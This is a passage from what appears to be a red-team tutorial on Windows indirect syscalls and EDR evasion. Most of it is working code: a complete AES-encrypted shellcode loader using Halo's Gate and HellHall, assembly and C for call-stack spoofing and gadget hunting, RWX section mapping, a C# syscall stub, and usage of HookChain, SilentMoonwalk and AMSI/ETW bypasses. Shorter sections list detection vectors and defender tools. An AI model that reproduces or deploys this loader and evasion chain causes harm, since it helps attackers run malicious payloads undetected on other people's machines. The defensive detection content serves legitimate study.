    status = HellHall(hProc, &base, &protSize, PAGE_EXECUTE_READ, &oldProt);
    if (!NT_SUCCESS(status)) { printf("[-] Protect failed: 0x%08X\n", status); return FALSE; }
    printf("[+] Changed to RX\n");

    // Step 4: Create execution thread (indirect syscall)
    PrepareSyscall(scThread.SSN, scThread.SyscallAddr);
    status = HellHall(
        &hThread,               // ThreadHandle
        THREAD_ALL_ACCESS,      // DesiredAccess
        NULL,                   // ObjectAttributes
        hProc,                  // ProcessHandle
        (PVOID)base,            // StartRoutine
        NULL,                   // Argument
        FALSE,                  // CreateSuspended
        0, 0, 0, NULL           // Remaining args
    );
    if (!NT_SUCCESS(status)) { printf("[-] Thread failed: 0x%08X\n", status); return FALSE; }
    printf("[+] Thread created: %p\n", hThread);

    return TRUE;
}

10. Complete Indirect Syscall Shellcode Loader (C + MASM)

Full, production-quality loader combining: AES-encrypted shellcode + Halo's Gate + indirect syscalls via HellHall.

10.1 Project Structure

IndirectLoader/
├── loader.c            ← Main loader logic
├── hellhall.h          ← HellHall declarations
├── hellhall.c          ← Halo's Gate SSN + gadget resolution
├── AsmHell.asm         ← MASM indirect syscall stub
├── aes.h / aes.c       ← AES-128 decryption
└── loader.vcxproj

10.2 loader.c — Complete Implementation

// [C] loader.c — Complete Indirect Syscall Shellcode Loader
// Combines: AES decrypt + Halo's Gate + HellHall indirect syscalls

#include <windows.h>
#include <stdio.h>
#include "hellhall.h"
#include "aes.h"

// AES-128 encrypted shellcode + key + IV
// Replace with your own: msfvenom -p windows/x64/exec CMD=calc.exe -f raw | python3 aes_encrypt.py
unsigned char g_Shellcode[] = {
    /* your AES-encrypted shellcode bytes here */
    0xDE, 0xAD, 0xBE, 0xEF, /* ... */
};
SIZE_T g_ShellcodeSize = sizeof(g_Shellcode);

unsigned char g_AesKey[] = {
    0x4A, 0x3F, 0x2B, 0x1C, 0xDE, 0xAD, 0xBE, 0xEF,
    0xCA, 0xFE, 0xBA, 0xBE, 0x13, 0x37, 0x42, 0x00
};

unsigned char g_AesIv[] = {
    0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77,
    0x88, 0x99, 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF
};


// NT function typedefs
typedef NTSTATUS (NTAPI *pNtWaitForSingleObject)(
    HANDLE Handle, BOOLEAN Alertable, PLARGE_INTEGER Timeout);

int main(void) {

    printf("[*] Indirect Syscall Loader — HellHall + Halo's Gate\n");

    // ── STEP 1: Resolve syscalls via Halo's Gate ──────────────────────────
    HALO_SYSCALL scAlloc  = {0}, scWrite  = {0};
    HALO_SYSCALL scProt   = {0}, scThread = {0};
    HALO_SYSCALL scWait   = {0};

    if (!HalosGate_GetSyscall("NtAllocateVirtualMemory", &scAlloc))  goto fail;
    if (!HalosGate_GetSyscall("NtWriteVirtualMemory",    &scWrite))  goto fail;
    if (!HalosGate_GetSyscall("NtProtectVirtualMemory",  &scProt))   goto fail;
    if (!HalosGate_GetSyscall("NtCreateThreadEx",        &scThread)) goto fail;
    if (!HalosGate_GetSyscall("NtWaitForSingleObject",   &scWait))   goto fail;

    printf("[+] SSNs resolved:\n");
    printf("    NtAllocateVirtualMemory : 0x%02X\n", scAlloc.SSN);
    printf("    NtWriteVirtualMemory    : 0x%02X\n", scWrite.SSN);
    printf("    NtProtectVirtualMemory  : 0x%02X\n", scProt.SSN);
    printf("    NtCreateThreadEx        : 0x%02X\n", scThread.SSN);

    // ── STEP 2: Decrypt shellcode ──────────────────────────────────────────
    unsigned char *pShellcode = (unsigned char*)LocalAlloc(LMEM_FIXED, g_ShellcodeSize);
    if (!pShellcode) goto fail;
    memcpy(pShellcode, g_Shellcode, g_ShellcodeSize);
    AES_CBC_decrypt(pShellcode, g_ShellcodeSize, g_AesKey, g_AesIv);
    printf("[+] Shellcode decrypted (%zu bytes)\n", g_ShellcodeSize);

    // ── STEP 3: Allocate RW memory (indirect syscall) ─────────────────────
    PVOID  base   = NULL;
    SIZE_T rSize  = g_ShellcodeSize;
    HANDLE hProc  = (HANDLE)-1;

    PrepareSyscall(scAlloc.SSN, scAlloc.SyscallAddr);
    NTSTATUS st = HellHall(hProc, &base, 0, &rSize, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
    if (!NT_SUCCESS(st)) { printf("[-] NtAllocateVirtualMemory: 0x%X\n", st); goto fail; }
    printf("[+] Allocated memory at: %p (RW)\n", base);

    // ── STEP 4: Write shellcode (indirect syscall) ────────────────────────
    SIZE_T written = 0;
    PrepareSyscall(scWrite.SSN, scWrite.SyscallAddr);
    st = HellHall(hProc, base, pShellcode, g_ShellcodeSize, &written);
    LocalFree(pShellcode);
    if (!NT_SUCCESS(st)) { printf("[-] NtWriteVirtualMemory: 0x%X\n", st); goto fail; }
    printf("[+] Shellcode written (%zu bytes)\n", written);

    // ── STEP 5: RW → RX (no RWX) (indirect syscall) ──────────────────────
    DWORD  oldProt  = 0;
    SIZE_T protSize = g_ShellcodeSize;
    PrepareSyscall(scProt.SSN, scProt.SyscallAddr);
    st = HellHall(hProc, &base, &protSize, PAGE_EXECUTE_READ, &oldProt);
    if (!NT_SUCCESS(st)) { printf("[-] NtProtectVirtualMemory: 0x%X\n", st); goto fail; }
    printf("[+] Memory changed to RX\n");

    // ── STEP 6: Create execution thread (indirect syscall) ────────────────
    HANDLE hThread = NULL;
    PrepareSyscall(scThread.SSN, scThread.SyscallAddr);
    st = HellHall(
        &hThread, THREAD_ALL_ACCESS, NULL,
        hProc, (PVOID)base, NULL, FALSE,
        0, 0, 0, NULL
    );
    if (!NT_SUCCESS(st)) { printf("[-] NtCreateThreadEx: 0x%X\n", st); goto fail; }
    printf("[+] Thread created: %p\n", hThread);

    // ── STEP 7: Wait for thread (indirect syscall) ────────────────────────
    LARGE_INTEGER timeout = { .QuadPart = -10000000LL * 10 };  // 10 seconds
    PrepareSyscall(scWait.SSN, scWait.SyscallAddr);
    st = HellHall(hThread, FALSE, &timeout);

    printf("[+] Done.\n");
    return 0;

fail:
    printf("[-] Failed. Exiting.\n");
    return 1;
}

11. Call Stack Spoofing — The Next Layer After Indirect Syscalls

Indirect syscalls clean up the top frame of the call stack (making ntdll appear at the top). But advanced EDRs also inspect frames deeper in the stack. If frame #3 in the call stack points to an anonymous RWX region (your shellcode page), you're still caught.

Call stack spoofing manipulates the return addresses on the stack to make the ENTIRE call chain appear to come from legitimate signed modules.

11.1 The Remaining IOC After Indirect Syscalls

CALL STACK with only indirect syscalls (partial clean):

Frame 0:  ntdll!NtAllocateVirtualMemory+0x8    ← Clean (ntdll from indirect syscall)
Frame 1:  0x000001a345678901                   ← YOUR LOADER (suspicious if unbacked)
Frame 2:  0x000000000000                       ← Nothing (anomalous)

EDR stack walk sees Frame 1 = anonymous memory → STILL FLAGGED

11.2 Simple Return Address Spoofing

The simplest approach: before calling your indirect syscall stub, overwrite the return address on the stack with an address inside a legitimate module:

; [ASM] Simple return address spoof — RtlUserThreadStart gadget technique

SpoofedIndirectSyscall PROC
    ; Step 1: Find a suitable return gadget in KernelBase.dll
    ;         e.g., KernelBase!ProcessIdToSessionId+0x96
    ;         This is an address that looks like a normal call site

    ; Step 2: Overwrite [RSP] with the gadget address
    mov r11, [rsp]              ; Save real return address in R11
    mov rax, qKernelBaseGadget  ; Spoofed return address from KernelBase
    mov [rsp], rax              ; Replace return address on stack

    ; Step 3: Set up SSN and args, then JMP into ntdll
    mov r10, rcx
    mov eax, dwSSN
    jmp QWORD PTR [pSyscallAddr]

    ; After syscall returns (via ntdll ret):
    ; The "return" goes to KernelBase gadget, which then returns normally
SpoofedIndirectSyscall ENDP

11.3 Finding Gadget Addresses

// [C] Find a suitable return address gadget in a trusted module

// Target: a RET gadget in kernel32 / KernelBase that looks like a call site
// Typically: an instruction after a CALL that we can fake as our return point

PVOID FindReturnGadget(PCSTR moduleName) {
    HMODULE hMod = GetModuleHandleA(moduleName);
    if (!hMod) return NULL;

    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hMod;
    PIMAGE_NT_HEADERS pNt  = (PIMAGE_NT_HEADERS)((PBYTE)hMod + pDos->e_lfanew);
    PIMAGE_SECTION_HEADER pSec = IMAGE_FIRST_SECTION(pNt);

    for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
        if (memcmp(pSec->Name, ".text", 5) == 0) {
            PBYTE start = (PBYTE)hMod + pSec->VirtualAddress;
            DWORD  size  = pSec->Misc.VirtualSize;

            // Find: FF D0 (call rax) or E8 xx xx xx xx (call relative)
            // followed by code — the address AFTER the call is a valid "return from" point
            for (DWORD j = 0; j < size - 5; j++) {
                // Look for CALL instruction followed by something:
                if (start[j] == 0xFF && start[j+1] == 0xD0) {
                    // "call rax" found — address of next instruction is valid gadget
                    return (PVOID)(start + j + 2);
                }
            }
        }
        pSec++;
    }
    return NULL;
}

// In practice: hardcode a known stable address
// KernelBase!BaseThreadInitThunk+0x14 is commonly used
PVOID g_KernelBaseGadget = NULL;

BOOL InitGadgets(void) {
    HMODULE hKernelBase = GetModuleHandleA("KernelBase.dll");
    PBYTE   pFn = (PBYTE)GetProcAddress(hKernelBase, "BaseThreadInitThunk");
    if (!pFn) return FALSE;

    // BaseThreadInitThunk+0x14 is a stable return point used by SilentMoonwalk
    g_KernelBaseGadget = (PVOID)(pFn + 0x14);
    return TRUE;
}

12. SilentMoonwalk — Full Call Stack Desync Spoofing

SilentMoonwalk is a PoC (klezVirus, 2023) that uses ROP-based stack desynchronization to completely remove the original caller from the call stack — not just replacing frames but making unwinding give a different call path than the actual execution path.

  • GitHub: github.com/klezVirus/SilentMoonwalk
  • Technique: Desynchronize Windows stack unwinding from actual control flow using ROP gadgets
  • Result: The call stack produced by exception-based unwinding (which EDRs use) shows a completely different, legitimate path

12.1 Concept: Sync vs Desync Stacks

SYNCHRONIZED STACK (what exists in memory, what debugger sees):
Frame 0: ntdll!NtAllocateVirtualMemory+0x8  ← indirect syscall (clean)
Frame 1: YourLoader!InjectShellcode+0x3a    ← real frame (may be bad)
Frame 2: YourLoader!main+0x12

DESYNCHRONIZED STACK (SilentMoonwalk — what Windows unwind sees):
Frame 0: ntdll!NtAllocateVirtualMemory+0x8  ← same top
Frame 1: ntdll!RtlUserThreadStart+0x21      ← fake frame (unwind diverges)
[unwind ends — no more frames]

The EXE is completely absent from what unwinding reveals.
EDR uses EXCEPTION-based unwinding → sees the desync stack → misses your loader.

12.2 SilentMoonwalk Usage

// [C] SilentMoonwalk pattern — using the desync spoofer

// Clone: git clone https://github.com/klezVirus/SilentMoonwalk
// Requires: klezVirus/SilentMoonwalk main.cpp + spoof.h

// The spoofer wraps your function call:
// SpoofCall(&NtAllocateVirtualMemory, args...);
// → sets up desync stack → calls your function → cleans up

// Alternatively, using the Unwinder Rust crate for the same technique
// indirect_syscall!(NtAllocateVirtualMemory, processHandle, &base, ...)

12.3 Stack Comparison (Visual)

────────────────────────────────────────────────────────
METHOD            | CALL STACK TOP 3 FRAMES
────────────────────────────────────────────────────────
Normal ntdll call | ntdll!NtXxx → kernel32!... → your code
Direct syscall    | your.exe!stub → your.exe!main
Indirect syscall  | ntdll!NtXxx → your.exe!main
+ Simple spoof    | ntdll!NtXxx → kernelbase!gadget → your.exe
+ SilentMoonwalk  | ntdll!NtXxx → ntdll!RtlUserThreadStart (done)
────────────────────────────────────────────────────────

13. HookChain — IAT-Layer Indirect Syscalls (DEF CON 32, 2024)

HookChain (Helvio Carvalho Junior, DEF CON 32, Aug 2024) is a major advancement that operates at a higher layer than ntdll — it hooks the Import Address Table (IAT) of the subsystem DLLs (like kernel32.dll) to redirect execution through HookChain's own code, which then uses indirect syscalls to bypass ntdll hook checks entirely.

  • Paper: arxiv.org/pdf/2404.16856
  • GitHub: github.com/helviojunior/hookchain
  • EDR bypass rate: 88% success across 26 tested EDR solutions at time of release

13.1 Why HookChain Is Different

Most EDRs only hook ntdll.dll. HookChain operates above ntdll — in the subsystem layer (kernel32, KernelBase, etc.) — and transparently redirects all calls through its own handler, which uses indirect syscalls:

NORMAL EDR MODEL (hooks ntdll):
  Your App → kernel32!VirtualAlloc → ntdll!NtAllocateVirtualMemory ← [EDR hook]
                                                                         ↓
                                                                  EDR analysis
                                                                         ↓
                                                                    syscall

HOOKCHAIN MODEL (bypasses ntdll hook by operating above it):
  Your App → kernel32!VirtualAlloc
                 ↓
           [IAT redirected to HookChain handler]
                 ↓
           HookChain resolves SSN (dynamic, Halo's Gate)
           + locates ntdll syscall gadget (indirect approach)
                 ↓
           [JMP to ntdll syscall instruction]  ← ntdll hook NEVER called
                 ↓
             Kernel

13.2 HookChain Core Components

1. IAT Hooking:
   - Parses and modifies the Import Address Table of loaded DLLs
   - Redirects all Nt* function calls to HookChain's own handler
   - No code modification needed in the calling application

2. Dynamic SSN Resolution (Halo's Gate):
   - Uses NtAllocateReserveObject as seed function for SSN discovery
   - Dynamically resolves all needed SSNs without hardcoding

3. Indirect Syscall Execution:
   - HookChain's handler uses indirect syscalls to call the kernel
   - The ntdll hooks that EDRs rely on are completely bypassed
   - Call stack appears to come from ntdll (legitimate)

13.3 HookChain Usage

# [TOOL] Build and run HookChain
git clone https://github.com/helviojunior/hookchain
cd hookchain

# Build with MSVC (Visual Studio 2022)
# Open hookchain.sln, Build → Release x64

# Run against a target process PID
./HookChain.exe <PID>

# Or inject into current process context
./HookChain.exe
// [C] HookChain API (from helviojunior/hookchain)
#include "HookChain.h"

// Initialize HookChain (sets up IAT hooks, resolves SSNs and syscall gadgets)
if (!InitApi()) {
    printf("[-] HookChain InitApi failed\n");
    return 1;
}

// After InitApi(), ALL subsequent Win32 API calls automatically
// go through HookChain's indirect syscall handler
// No changes to your existing code needed

PVOID pMem = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// ↑ This goes through HookChain → indirect syscall → kernel (no ntdll hook hit)

13.4 Post-HookChain Evolution — LACUNA Chain (2026)

After EDR vendors responded to HookChain by moving to kernel callbacks and ETW-Ti STACKWALK mode, the LACUNA Chain technique (Mohamed Alzhrani, 2026) was developed as the next evolution:

LACUNA Chain components:
  1. IAT manipulation (like HookChain)
  2. Dynamic SSN resolution (Halo's Gate)
  3. Indirect syscalls (for clean return address)
  4. Full call stack spoofing (synthetic frames — full chain spoof)
  5. ETW-Ti APC Window Attack (exploits async ETW delivery timing)
  6. Encrypted syscall parameters (decrypt only at syscall via VEH)
  7. Shadow stack aware (CET-compatible frame manipulation)

Result: Bypassed Elastic EDR, Bitdefender, and Kaspersky Endpoint Security
        on Windows 11 22H2 with CET + Sysmon v15 + ETW-Ti STACKWALK active

14. Combining Indirect Syscalls with Other Evasion Layers

Indirect syscalls are rarely used alone in real red team operations. They are one layer in a multi-layer evasion stack.

┌─────────────────────────────────────────────────────────────────────┐
│  LAYER 7 (C2 Infrastructure): Domain fronting, redirectors, HTTPS   │
│                                                                     │
│  LAYER 6 (Delivery): ScareCrow / Freeze loader wrapping             │
│                       Signed binary sideloading / Module stomping   │
│                                                                     │
│  LAYER 5 (Sleep Evasion): Ekko / Foliage sleep obfuscation          │
│                             Encrypted memory during sleep           │
│                                                                     │
│  LAYER 4 (Stack Spoofing): SilentMoonwalk / synthetic frame spoof   │
│                              Gadget-based return address replacement │
│                                                                     │
│  LAYER 3 (Syscall Evasion): Indirect Syscalls (this document)       │
│                              HellHall + Halo's Gate                 │
│                                                                     │
│  LAYER 2 (Payload): AES/XOR encrypted shellcode                     │
│                      Anti-sandbox delays, env checks                │
│                                                                     │
│  LAYER 1 (Memory): Module stomping / No RWX pages                   │
│                     NtCreateSection instead of NtAllocateVirtual     │
└─────────────────────────────────────────────────────────────────────┘

14.2 NtCreateSection — Avoiding NtAllocateVirtualMemory Entirely

NtAllocateVirtualMemory is one of the most heavily monitored syscalls. An alternative is to use NtCreateSection + NtMapViewOfSection which creates memory backed by a section object (appears more legitimate):

// [C] Use NtCreateSection instead of NtAllocateVirtualMemory for stealth

// This pair creates a section and maps it into memory — less suspicious
// than VirtualAlloc/NtAllocateVirtualMemory for some EDR triggers

HALO_SYSCALL scCreateSection = {0}, scMapView = {0};
HalosGate_GetSyscall("NtCreateSection",    &scCreateSection);
HalosGate_GetSyscall("NtMapViewOfSection", &scMapView);

HANDLE hSection = NULL;
LARGE_INTEGER sectionSize = { .QuadPart = (LONGLONG)shellcodeSize };

// Create section (indirect syscall)
PrepareSyscall(scCreateSection.SSN, scCreateSection.SyscallAddr);
NTSTATUS st = HellHall(
    &hSection,
    SECTION_ALL_ACCESS,
    NULL,
    &sectionSize,
    PAGE_EXECUTE_READWRITE,
    SEC_COMMIT,
    NULL
);

// Map into current process (indirect syscall)
PVOID  base    = NULL;
SIZE_T viewSize = 0;
LARGE_INTEGER offset = { 0 };

PrepareSyscall(scMapView.SSN, scMapView.SyscallAddr);
st = HellHall(
    hSection,
    (HANDLE)-1,
    &base,
    0,
    0,
    &offset,
    &viewSize,
    ViewShare,
    0,
    PAGE_EXECUTE_READWRITE
);

14.3 AMSI/ETW Bypass via Hardware Breakpoints (Complementary)

// [C] AMSI + ETW bypass using hardware breakpoints
// Works alongside indirect syscalls to suppress behavioral logging

// Concept:
// 1. Set a hardware breakpoint on AmsiScanBuffer (AMSI bypass)
// 2. Set a hardware breakpoint on NtTraceEvent (ETW bypass)
// 3. VEH (Vectored Exception Handler) catches the break and patches return value
// 4. Combined with indirect syscalls → no AMSI scan + no ETW logging

// Reference: Havoc C2 uses this technique:
// github.com/HavocFramework/Havoc → demon/src/include/Demon.h

// Setup in Havoc's context:
// BOOL SetHardwareBreakpointOnAmsi() — see Havoc source
// Combined with Indirect Syscalls → DemonConfig.Injection.IndirectSyscall = TRUE

15. EDR Detection of Indirect Syscalls — What Defenders See

Understanding how your technique gets detected is essential for red teamers.

15.1 Detection Vectors for Indirect Syscalls

[DETECT] Vector 1: Return Address Still Points to Your Code
   ─ While the syscall fires from ntdll, the RETURN (after ntdll's ret)
     goes back into YOUR loader's memory
   ─ ETW-Ti captures this via STACKWALK events
   ─ If frame #1 (below ntdll) is in anonymous memory → flagged

[DETECT] Vector 2: Unusual ntdll Entry Point
   ─ Legitimate calls enter ntdll!NtXxx at offset 0x00 (top of function)
   ─ Indirect syscalls enter at offset 0x08 (mid-function, at syscall)
   ─ Advanced EDRs check "did execution enter ntdll through the function start?"
   ─ This is the basis of VEH-based indirect syscall detection (xacone.github.io)

[DETECT] Vector 3: SSN Scanning (Patch Guard on SSN values)
   ─ EDRs can monitor specific syscall numbers for known-sensitive operations
   ─ e.g., NtCreateThreadEx SSN 0xC2 appearing from untrusted memory

[DETECT] Vector 4: ETW-Ti STACKWALK Mode
   ─ Collects FULL user-mode call stack at kernel boundary
   ─ Not defeatable by indirect syscalls alone
   ─ Requires call stack spoofing to defeat

[DETECT] Vector 5: Memory Region Backing Check
   ─ Frame #1 (below ntdll) is checked: is it in a signed PE?
   ─ If it's in anonymous RWX memory or your loader → suspicious
   ─ Module stomping can help (shellcode in a legitimate DLL's memory)

15.2 Tools to Test Your Indirect Syscall Loader

# [TOOL] pe-sieve — scan for hooks and unusual memory regions
pe-sieve.exe /pid <your_loader_pid> /report report.json
# Shows: hooked functions, injected code, memory anomalies

# [TOOL] MonetaV5 — runtime memory scanner
Moneta.exe -m ioc -p <pid>
# Detects: unbacked memory, RWX regions, anomalous stack frames

# [TOOL] Fenrir — call stack inspection tool
Fenrir.exe -p <pid>
# Shows: full call stack of all threads, highlights anomalous frames

# [TOOL] Process Hacker 2 / System Informer
# → Right-click process → Properties → Threads → Stack
# Shows: live call stack, flags unusual frames

# [TOOL] x64dbg
# Set breakpoint at ntdll!NtAllocateVirtualMemory+0x8 (syscall instruction)
# When it hits → check call stack (k command in WinDbg)
# Verify: frame 1 should be in ntdll or your legitimate gadget

15.3 Detection Rule (Defender Perspective)

// Pseudo-detection logic for indirect syscalls

ALERT if:
    syscall instruction fires from ntdll.dll
    AND return address (frame[1]) is NOT in a known signed module
    AND process is NOT a system process

OR:
    ETW-Ti STACKWALK shows frame[n] pointing to anonymous RWX memory
    AND the syscall was a sensitive NT operation
    (NtAllocateVirtualMemory, NtCreateThreadEx, NtWriteVirtualMemory)

OR:
    ntdll!NtXxx was entered at offset != 0x00 (entry into the middle of a function)
    AND via a JMP instruction rather than CALL

16. Indirect Syscalls in .NET / C# (D/Invoke)

For .NET/C# offensive tools (SharpXxx, BOFs for .NET), D/Invoke provides the equivalent of indirect syscalls without the need for raw MASM stubs.

16.1 D/Invoke Overview

D/Invoke (TheWover) dynamically invokes native functions by locating them in memory without using P/Invoke (which shows up in IAT and is easily hooked). It supports indirect syscalls via its GetSyscallStub method.

// [CS] D/Invoke — Indirect Syscall in C#
// NuGet: DInvoke  OR  include from github.com/TheWover/DInvoke

using DInvoke.DynamicInvoke;
using DInvoke.Data;

class IndirectSyscallExample {

    // Get SSN for NtAllocateVirtualMemory using D/Invoke
    static IntPtr AllocateWithIndirectSyscall(int size) {

        // Step 1: Get a delegate pointing to the real ntdll function
        // D/Invoke parses PEB → loads ntdll → finds export
        IntPtr pNtAlloc = Generic.GetLibraryAddress("ntdll.dll", "NtAllocateVirtualMemory");

        // Step 2: Get syscall stub — D/Invoke resolves SSN and builds indirect stub
        IntPtr syscallStub = Generic.GetSyscallStub("NtAllocateVirtualMemory");
        // This returns a pointer to a small thunk that JMPs into ntdll's syscall

        // Step 3: Create delegate from stub
        var ntAlloc = Marshal.GetDelegateForFunctionPointer<
            DynStructs.NtAllocateVirtualMemory>(syscallStub);

        // Step 4: Call via delegate (indirect syscall fires)
        IntPtr baseAddr = IntPtr.Zero;
        IntPtr regionSize = new IntPtr(size);
        UInt32 status = ntAlloc(
            (IntPtr)(-1),   // Current process
            ref baseAddr,
            IntPtr.Zero,
            ref regionSize,
            (UInt32)(Win32.Kernel32.MEM_COMMIT | Win32.Kernel32.MEM_RESERVE),
            (UInt32)Win32.WinNT.PAGE_READWRITE
        );

        if (status != 0) return IntPtr.Zero;
        return baseAddr;
    }
}

16.2 Manual Syscall Stub in C# (SharpSploit Pattern)

// [CS] Manual indirect syscall in C# using unsafe + pointer tricks
// No external library needed

using System;
using System.Runtime.InteropServices;

class RawSyscall {

    [UnmanagedFunctionPointer(CallingConvention.StdCall)]
    delegate uint NtAllocDelegate(
        IntPtr ProcessHandle,
        ref IntPtr BaseAddress,
        UIntPtr ZeroBits,
        ref UIntPtr RegionSize,
        uint AllocationType,
        uint Protect
    );

    static unsafe IntPtr AllocateViaIndirectSyscall(int size) {

        // Resolve ntdll function address
        IntPtr ntdll = LoadLibrary("ntdll.dll");
        IntPtr funcAddr = GetProcAddress(ntdll, "NtAllocateVirtualMemory");

        // Validate: unhooked? (4C 8B D1 B8 ...)
        byte* funcBytes = (byte*)funcAddr.ToPointer();
        if (funcBytes[0] != 0x4C || funcBytes[3] != 0xB8) {
            throw new Exception("NtAllocateVirtualMemory appears hooked!");
        }

        // Read SSN
        uint ssn = *(uint*)(funcAddr + 4);

        // Build indirect syscall stub in RWX memory
        // Stub: mov r10, rcx | mov eax, SSN | JMP [ntdll_syscall_addr]
        byte[] stub = new byte[24];
        stub[0] = 0x4C; stub[1] = 0x8B; stub[2] = 0xD1;  // mov r10, rcx
        stub[3] = 0xB8;                                     // mov eax,
        BitConverter.GetBytes(ssn).CopyTo(stub, 4);         //   SSN
        stub[8] = 0xFF; stub[9] = 0x25;                     // JMP [RIP+0]
        stub[10] = 0x00; stub[11] = 0x00; stub[12] = 0x00; stub[13] = 0x00;
        // absolute address of ntdll syscall gadget
        IntPtr syscallGadget = funcAddr + 8;
        BitConverter.GetBytes(syscallGadget.ToInt64()).CopyTo(stub, 14);

        // Allocate and copy stub
        IntPtr pStub = VirtualAlloc(IntPtr.Zero, (UIntPtr)stub.Length,
            0x3000, 0x40);  // RWX
        Marshal.Copy(stub, 0, pStub, stub.Length);

        // Cast to delegate and call
        var ntAlloc = Marshal.GetDelegateForFunctionPointer<NtAllocDelegate>(pStub);
        IntPtr baseAddr = IntPtr.Zero;
        UIntPtr regionSize = new UIntPtr((uint)size);
        uint status = ntAlloc((IntPtr)(-1), ref baseAddr, UIntPtr.Zero,
                              ref regionSize, 0x3000, 0x04);

        VirtualFree(pStub, UIntPtr.Zero, 0x8000);
        if (status != 0) return IntPtr.Zero;
        return baseAddr;
    }

    [DllImport("kernel32")] static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")] static extern IntPtr GetProcAddress(IntPtr h, string n);
    [DllImport("kernel32")] static extern IntPtr VirtualAlloc(IntPtr a, UIntPtr s, uint t, uint p);
    [DllImport("kernel32")] static extern bool   VirtualFree(IntPtr a, UIntPtr s, uint t);
}

17. win32u.dll — Alternative Gadget Source When ntdll Is RW

During DLL unhooking operations, you need to mark ntdll's .text section as RW to copy a fresh version over the hooked bytes. During this window, the ntdll syscall gadget you were using is now in RW memory — you can't execute from it.

Solution: use win32u.dll as an alternative source of syscall gadgets.

// [C] win32u.dll as alternative syscall gadget source
// Used by AtomLdr (github.com/NUL0x4C/AtomLdr)

// win32u.dll is a thin Win32k.sys wrapper that also contains syscall stubs
// Unlike ntdll, it's typically NOT included in the unhooking routine
// → Its .text section stays RX → can still execute syscall from it

PVOID GetSyscallGadgetFromWin32u(void) {
    // win32u.dll must be loaded (it's a static import in most GUI apps,
    // but you may need to LoadLibrary it explicitly)
    HMODULE hWin32u = LoadLibraryA("win32u.dll");
    if (!hWin32u) return NULL;

    // Scan .text for syscall;ret (0F 05 C3)
    return FindSyscallGadgetInModule(hWin32u);
}

PVOID FindSyscallGadgetInModule(HMODULE hMod) {
    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hMod;
    PIMAGE_NT_HEADERS pNt  = (PIMAGE_NT_HEADERS)((PBYTE)hMod + pDos->e_lfanew);
    PIMAGE_SECTION_HEADER pSec = IMAGE_FIRST_SECTION(pNt);

    for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
        if (pSec->Characteristics & IMAGE_SCN_CNT_CODE) {
            PBYTE start = (PBYTE)hMod + pSec->VirtualAddress;
            DWORD  size  = pSec->Misc.VirtualSize;

            for (DWORD j = 0; j < size - 2; j++) {
                if (start[j] == 0x0F && start[j+1] == 0x05 && start[j+2] == 0xC3) {
                    return (PVOID)(start + j);
                }
            }
        }
        pSec++;
    }
    return NULL;
}

// Usage in unhooking flow:
void UnhookAndKeepIndirectSyscalls(void) {
    // 1. Load win32u.dll and get its syscall gadget
    PVOID win32uGadget = GetSyscallGadgetFromWin32u();

    // 2. Switch all indirect syscall stubs to use win32u gadget
    for (int i = 0; i < numSyscalls; i++) {
        syscallEntries[i].SyscallAddr = win32uGadget;
    }

    // 3. Now perform ntdll unhooking (marks ntdll .text as RW temporarily)
    UnhookNtdll();

    // 4. After unhooking, switch back to ntdll gadgets (now clean/unhooked)
    for (int i = 0; i < numSyscalls; i++) {
        ResolveIndirectSyscall(syscallEntries[i].Name, &syscallEntries[i]);
    }
}

18. Tool Arsenal for Indirect Syscalls

18.1 Generators and Frameworks

Tool URL What It Does
SysWhispers3 github.com/klezVirus/SysWhispers3 Automated syscall stub generator with --method jumper (indirect) and egg_hunter modes
HellHall github.com/Maldev-Academy/HellHall Combined Hell's Gate + indirect syscall PoC (C + MASM)
MaldevAcademyLdr.1 github.com/Maldev-Academy/MaldevAcademyLdr.1 Full loader with HellHall, DLL unhooking, AES, IAT obfuscation
AtomLdr github.com/NUL0x4C/AtomLdr DLL loader with HellHall + win32u.dll gadget fallback
DInvoke github.com/TheWover/DInvoke .NET dynamic invocation with GetSyscallStub (indirect)
SysWhispers4 github.com/joasasantos/SysWhispers4 Next-gen: FreshyCalls + indirect + randomized gadgets
NimlineWhispers3 github.com/klezVirus/NimlineWhispers3 SysWhispers3 output adapted for Nim (-m jumper)

18.2 Call Stack Spoofing Tools

Tool URL What It Does
SilentMoonwalk github.com/klezVirus/SilentMoonwalk Full desync call stack spoofer (use with indirect syscalls)
VulcanRaven github.com/WithSecureLabs/VulcanRaven Synthetic call stack mirroring
CallStackSpoofer github.com/WithSecureLabs/CallStackSpoofer Timer-based call stack spoofing at rest
DarkWidow github.com/reveng007/DarkWidow Indirect syscall + APC injection + stack spoof PoC
hw-call-stack github.com/fortra/hw-call-stack Hardware breakpoint based stack spoof

18.3 Advanced / Research

Tool URL What It Does
HookChain github.com/helviojunior/hookchain IAT-layer + indirect syscall EDR bypass (DEF CON 32)
Freeze github.com/optiv/Freeze AMSI/ETW bypass loader with indirect syscall support
ScareCrow github.com/optiv/ScareCrow EDR-bypassing loader generator, supports indirect syscall mode
Havoc C2 github.com/HavocFramework/Havoc C2 framework with built-in indirect syscall + HWBP AMSI bypass

18.4 Detection / Blue Team

Tool URL What It Does
pe-sieve github.com/hasherezade/pe-sieve Detect hooks, injections, indirect syscall anomalies
Moneta github.com/forrest-orr/moneta Runtime IOC scanner — finds unbacked memory / stack anomalies
BEOTM github.com/xacone/BeatTheEDRMethods VEH-based indirect syscall catcher (detects HellHall entry point)

19. Technique Evolution Timeline

2019
 │  Hell's Gate (am0nsec) — Dynamic SSN resolution from ntdll
 │  Problem: only solves SSN, still direct syscall execution
 │
2021
 │  Halo's Gate — SSN recovery when function is hooked (neighbor scan)
 │  FreshyCalls / RecycledGate — EAT-based SSN sorting
 │
2021-2022
 │  INDIRECT SYSCALLS emerge as standard practice
 │  Key insight: JMP into ntdll syscall instead of calling your own
 │  EDRs start inspecting call stacks in response
 │
Jan 2023
 │  HellHall (MaldevAcademy) — Hell's Gate + Indirect Syscall combined
 │  "Performing Indirect Clean Syscalls" — canonical PoC
 │
2023
 │  SilentMoonwalk — full desync call stack spoofing
 │  Stack unwinding shows completely different path than execution
